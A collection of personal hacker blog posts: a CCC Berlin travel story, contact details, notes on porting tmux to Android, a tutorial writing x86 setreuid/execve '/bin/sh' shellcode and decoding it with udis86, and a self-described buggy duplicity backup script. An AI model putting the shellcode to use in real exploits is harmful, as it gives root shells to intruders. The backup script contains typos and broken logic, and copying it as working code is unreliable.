I formed a running team with an Italian hacker who works on Tor, and his friend from Greece who is also a hacker. They showed up thirty minutes late (for which the organizers, my friends from Vienna and San Francisco, postponed the race) with a backpack full of explosives. Let me tell you: Berliners take their fireworks very seriously, and firework safety inversely so. It’s not uncommon at all for a complete stranger to throw the equivalent of a quarter stick of dynamite in your direction. Also, I noticed that Berliners like to surprise you by throwing bottles and chairs.

So, armed to the teeth with explosives, we set out running through the streets with others chasing us. Because there was a joke rule that my friend Redbeard’s beard was a safe zone, I ended up having to kidnap him from a checkpoint by aiming explosives at the other participants in the race, and a few of the organizers too. Redbeard is awesome. He’s a professional kernel hacker with a red beard down to his waist, if the later wasn’t obviously by the name. I also had to dodge the aforementioned chairs, bottles, and fireworks with parkour while wearing a tinfoil hat. And at the end of it all, I found myself at C-Base, a hackerspace built into the remains of a two-millenia-old alien spaceship crash, discussing DIY soldering iron buttprobes, theoretical physics, and hackers on sailboats, while drinking Chink Chank Chunk (Club Mate with sugar, lime, vodka).

Oh Berlin, how I want to live in you!

I’ll be getting a German SIM card when I get off the plane in Berlin, and I’ll probably not post the new number here, or maybe I will. Normally I’m worried about people tracking me down, but hey, why not — it’s a throwaway SIM afterall. It’s not like anyone’s going to stalk me all across Europe.

After Germany, I’ll be in Austria, Denmark, Czech, Sweden(?), The Netherlands, and maybe a few other countries. I want to mention that the only reason someone as poor as I is able to go all these places is due to a couple of amazing hackers at Noisebridge in San Francisco, who felt like I should be able to go, provided tons of support, help, and encouragement. Their only request for me was that one day I “pay it forward.”

Kontakt Informationen

Isis Lovecruft
Deutschland Telefonnummer = +49.1578.779.2714
Osterreich Telefonnummer = +43.681.201.857.84
Email = isis(at)patternsinthevoid(dot)net
GPG Public Key = view download
Fingerprint = 0A6A 58A1 4B59 46AB DE18 E207 A3AD B67A 2CDB 8B35
Pidgin = isislovecruft(at)jabber(dot)ccc(dot)de
OTR Fingerprint = DBD3AB55 D2691E05 38B9528C 2C25C9D9 E2EDE0ED
Pidgin (over Tor Hidden Services!) = isis(at)riseup(dot)net
OTR Fingerprint = 226265F2 DA257A80 EB19B2AE 0D7E6317 E560D817

Fortunately (or so I thought when starting this project), tmux is written entirely in C. This turned out to be difficult, and so I’ll outline how I did it.

The Android kernel uses a slimmed down version of standard C libraries (libc.so), called bionic. This is where all the allowed calls are stored. It’s possible to either:

Statically link libc to the tmux source code, using CodeSorcery’s cross compiler, which compiles the required libraries directly into the package. This obviously makes the installed package much larger, however it also allows the compiler to optimize both the source code and the libraries.

Dynamically link the bionic library to the tmux source code. This would make the installed binary much smaller, but also requires some crazy ninja haxor skills combined with hardcore black magic, and honestly, I’m out of half my wizarding supplies right now — I’ve been meaning to go to the apothecary for powdered rat tail for weeks now.

Surprisingly, I attempted the second option first. This was insane. I had to compile a compiler to compile a compiler to compile a compiler to compile a shared object library through a perl wrapper to compile the code. I think I made it through all the compiling compilers parts, and then my finished compiler crapped all over its pants.

It was at this point that I decided to check my phone, and I realised that CyanogenMod7 already has a shared object library for standard C. (It’s at /system/lib/libc.so). There is the possibility that I could use this pre-ARM-compiled library, bundle it with tmux, and then use Android NDK to compile tmux for ARM. This would also necessitate creating a .JNI makefile for the frontend, which includes a trivial amount of Java to wrap the native code.

I’ll update when I finish or fuck myself over, but right now I’m getting on brutal series of international flights for Chaos Computer Club‘s 28C3 in Berlin, and my connection is slower than liberal reformist tactics are at creating a freer society.

<(A)3

isis@wintermute:~$ cat shellcode.asm
section .text
        global _start

_start:
        ;; setreuid (0,0)
        xor eax, eax            ;clear the eax registry
        mov al, 0x46            ;set the syscall # to decimal 70 or hex 46, one byte
        xor ebx, ebx
        xor ecx, ecx
        int 0x80                ;system interrupt to call kernel to execute syscall

        ;; spawn shellcode with execve
        xor eax, eax
        push eax                ;push a NULL value on the stack
        push 0x68732f2f         ;push '//sh' onto the stack
        push 0x6369622f         ;push '/bin' onto the stack
        mov ebx, esp            ;esp now points to '/bin/sh', so write to ebx
        push eax                ;push another NULL to terminate char ** argv on stack
        push ebx                ;push pointer to '/bin/sh' onto stack
        mov ecx, esp            ;esp now holds the address of argv, so write to ecx
        xor edx, edx
        mov al, 0xb             ;set the syscall # to decimal 11 or hex b, one byte
        int 0x80                ;sytem interrupt to call kernel to execute syscall

isis@wintermute:~$ nasm -f elf shellcode.asm 
isis@wintermute:~$ ld -melf_i386 -o shellcode shellcode.o
isis@wintermute:~$ objdump -d ./shellcode

./shellcode:     file format elf32-i386

Disassembly of section .text:

08048060 <_start>:
 8048060:       31 c0                   xor    %eax,%eax
 8048062:       b0 46                   mov    $0x46,%al
 8048064:       31 db                   xor    %ebx,%ebx
 8048066:       31 c9                   xor    %ecx,%ecx
 8048068:       cd 80                   int    $0x80
 804806a:       31 c0                   xor    %eax,%eax
 804806c:       50                      push   %eax
 804806d:       68 2f 2f 73 68          push   $0x68732f2f
 8048072:       68 2f 62 69 63          push   $0x6369622f
 8048077:       89 e3                   mov    %esp,%ebx
 8048079:       50                      push   %eax
 804807a:       53                      push   %ebx
 804807b:       89 e1                   mov    %esp,%ecx
 804807d:       31 d2                   xor    %edx,%edx
 804807f:       b0 0b                   mov    $0xb,%al
 8048081:       cd 80                   int    $0x80

So, from this example, the shellcode would be:

\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\2f\x73\
x68\x68\x2f\x62\x69\x63\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

But! What if you have some shellcode, say from a nasty PDF that someone sent you (though a malPDF’s shellcode would be in JavaScript, and so it would look like “%u68%u73%u2f%u2f”), and you don’t want to have to sit there with a hex-to-ascii chart looking everything up by hand just to find out what this shellcode is doing? As it turns out, there’s a handy little thing called udis86 to do all that boring work for you. You have to download their tarball, then do:

$ ./configure && make && make install

To run udis86 at the commandline, do:

$ udcli

Words can’t describe how much I’m crushing on this program. Check this out:

isis@wintermute:~/$ udcli -x
31 c0 b0 46 31 db 31 c9 cd 80 31 c0 50 68 2f 2f 73 68 68 2f 62 69 63 89 e3 50 53 89 e1 31 d2 b0 0b cd 80
0000000000000000 31c0             xor eax, eax            
0000000000000002 b046             mov al, 0x46            
0000000000000004 31db             xor ebx, ebx            
0000000000000006 31c9             xor ecx, ecx            
0000000000000008 cd80             int 0x80                
000000000000000a 31c0             xor eax, eax            
000000000000000c 50               push eax                
000000000000000d 682f2f7368       push dword 0x68732f2f   
0000000000000012 682f626963       push dword 0x6369622f   
0000000000000017 89e3             mov ebx, esp            
0000000000000019 50               push eax                
000000000000001a 53               push ebx                
000000000000001b 89e1             mov ecx, esp            
000000000000001d 31d2             xor edx, edx            
000000000000001f b00b             mov al, 0xb             
0000000000000021 cd80             int 0x80                

Duplicity is not efficient in it’s cryptographic design, as my friend Tom wisely pointed out, in that use of asymmetric cryptographic algorithms is heavily intensive upon processor resources, and it would be better to replace this feature with something more along the lines of the algorithms (e.g. AES, Serpent, and Twofish) and read/write speed testing features which TrueCrypt supports, for example.

This script depends on both curl and a newer version of duplicity (which is not yet included in the standard repositories), so to install those dependencies in Ubuntu do:

$ sudo apt-add-repository ppa:duplicity-team/ppa
$ sudo apt-get update
$ sudo apt-get install duplicity curl

Here’s version 0.1.2 of the backup script (or view it on github here):

#!/bin/bash
# _____________________
#| BACKUP[your].SH[it] |
#|---------------------|
#|v.0.1.2              |\                    ^    /^
#|Written by           | \                  / \  // \
#|Isis Lovecruft       |  \   |\___/|      /   \//  .\
#|isis@patternsinthe   |   \  /O  O  \__  /    //  | \ \           *----*
#|             void.net|     /     /  \/_/    //   |  \  \          \   |
#|_____________________|     @___@`    \/_   //    |   \   \         \/\ \
#                           0/0/|       \/_ //     |    \    \         \  \
#                       0/0/0/0/|        \///      |     \     \       |  |
#                    0/0/0/0/0/_|_ /   (  //       |      \     _\     |  /
#                 0/0/0/0/0/0/`/,_ _ _/  ) ; -.    |    _ _\.-~       /   /
#                             ,-}        _      *-.|.-~-.           .~    ~
#            \     \__/        `/\      /                 ~-. _ .-~      /
#             \____(oo)           *.   }            {                   /
#             (    (--)          .----~-.\        \-`                 .~
#             //__\\  \__ zomg!  ///.----..<        \             _ -~
#            //    \\               ///-._ _ _ _ _ _ _{^ - - - - ~
#
# Backup script to automate SSH, SCP, SFTP, FTP, and IMAP backups through
# Duplicity. Duplicity encrypts backup files through GPG before sending
# files through protocol. This script runs a check on the available 
# bandwidth, and only runs the backup when the bandwidth available is 
# above a configurable threshhold.
#
# This is going to be rewritten using duplicati instead of duplicity in the
# next major version release.

SPEED=$(curl -w %{speed_download} -o /dev/null -s http://speedtest.sea01.softlayer.com/speedtest/speedtest/random1000x1000.jpg)
INT=${SPEED/\.*}
KBPS=$(echo $[INT / 1024])
THRESHOLD="200"
# Uncomment and set the following in order to not type your password.
# This is incredibly insecure, as your password is then stored 
# plaintext.
#export PASSPHRASE='passphrase'

# The $SPEED variable downloads a nice image of snow (into /dev/null so that
# it isn't actually saved anywhere on disk). It also gives us a write-out 
# (-w %{speed_download}) for the average available bandwidth (incoming) in
# bytes per second.
#
# $INT turns the float $SPEED into an integer.
#
# $KBPS, as I'm sure you can surmise, turns the bytes per second into
# kilobytes per second.
#
# $THRESHOLD can be changed to fit the user's preferences, and it defines
# the minimum bandwidth which should be available for a duplicity backup to
# take place.

if [[ "$#" == "0" ]]; then
    echo ""
    echo "Usage: ./backup.sh <BACKUP_TO_LOCATION_1> <BACKUP_TO_LOCATION_2> ... <BACKUP_TO_LOCATION_N>"
    echo ""
    echo "Backup locations can be locally stored on the same disk (not recommended), "
    echo "or may be stored remotely. For remote backups, duplicity provides several "
    echo "options for transport, including SCP, FTP, and IMAP, please see 'man duplicity' "
    echo "for more information. Also, all duplicity backups are automatically GnuPG "
    echo "encrypted, so transportation is much safer than it would be otherwise. "
    echo ""
    echo "Note: Duplicity's SSH backend performs a check that the remote directory end "
    echo "in a '/', so this must be present for SSH, SCP, or SFTP backups to work correctly."
    echo ""
    exit 1
fi

# Make sure this script is run as root.
if [[ `id -u` != 0 ]]; then
    echo ""
    echo "Sorry, backups must be made as root in order for files in the / directory to"
    echo "be backed up safely. Please do 'sudo su' and try running this script again."
    echo "Exiting..."
    echo ""
    exit 1
fi

# Set up BACKUP_TO_LOCATION positional parameters.
for i in "$@"; do
    $(BACK_UP_LOCATION_$i)=$i
    echo ""
    echo "Would you like to make a full backup, or add an incremental backup to the "
    echo "last full backup stored?"
    select fullinc in "Full" "Incremental"; do
  case $fullinc in
      Full)
    USERLIST=$(cat /etc/passwd | grep "/home" | grep -E "([1-5][0-9]{3})|([5-9][0-9]{2})?" | cut -d : -f 1)
    # fix above regex to match '1000', '500' and '1392'
    # 
    # This command searches the password file for users with a home directory 
    # (to filter out programs with user accounts) whose UID number is in the 
    # range of 500-1599 (normal users, does not include root). It then takes 
    # that returned list of users and cuts it (the delimiter is ":") and returns 
    # only the first field, which is the username.
    echo ""
    echo "Please select the user(s) whose home directories should also be backed up:"
    echo ""
    for users in $USERLIST; do
        #need a way to assign numbers like $1 $2 $3 to users
        select users in $USERLIST; do
      case $users in
      #so that those numbers can be passed in over here
          $@)
              echo "Please confirm that this is where you wish to store your full backup: ("$BACKUP_TO_LOCATION_$i")?"
        select yn in "Yes" "No"; do
            case $yn in
          Yes) 
              if [[ $KBPS -gt $THRESHOLD ]]; then
            duplicity full -vN --ssh-askpass --exclude /proc --exclude /mnt --exclude /media --exclude /tmp --exclude /sys --exclude $HOME/.local --exclude $HOME/.config exclude /var/log/ $BACKUP_TO_LOCATION_$i 
              fi
              break;;
          No) 
              break;;
            esac
        done
        break;;
      esac
        done
    done
    break;;
      Incremental)
    echo "Please confirm that this is where you wish to store your incremental backup: ("$BACKUP_TO_LOCATION_$i")?"
    select yn in "Yes" "No"; do
        case $yn in
      Yes)
          if [[ $KBPS -gt $THRESHOLD ]]; then
        duplicity incremental -vN --ssh-askpass --exclude /proc --exclude /mnt --exclude /media --exclude /tmp --exclude /sys --exclude $HOME/.local --exclude $HOME/.config exclude /var/log / $BACKUP_TO_OCATION_$i
          fi
          break;;
      No)
          break;;
        esac
    done
  esac
    done
done

unset PASSPHRASE

This can be added as a crontab (so that the script, in this crontab example, will run automatically, once per hour at one minute after the hour) by doing (but the script will still check the network connection before sending anything out).

If you have any comments, suggestion, or feature requests, please email me and my GPG public key is here.

Features yet to be added:

#!/env/python                                              

def do_nothing():
    while depressed is True:
       do_nothing()
       print "you are still depressed"

if __name__ == "__main__":
    depressed = True
    do_nothing()

I’m not going to say which channel this thing is is, because it’s hella insecure (Frotz uses multiple uses of strcpy(), wtf?!), but I will say that while looking into pexpect I found some old 1990s botnet C&C software when I totally wasn’t expecting it. Check out this file, hive.py, which comes with pexpect! So oldschool! (Don’t worry, that link goes to a .txt file, so nothing will run on this server nor on your computer. It’s safe, I promise.)

For some reason, this made me really happy. <(A)3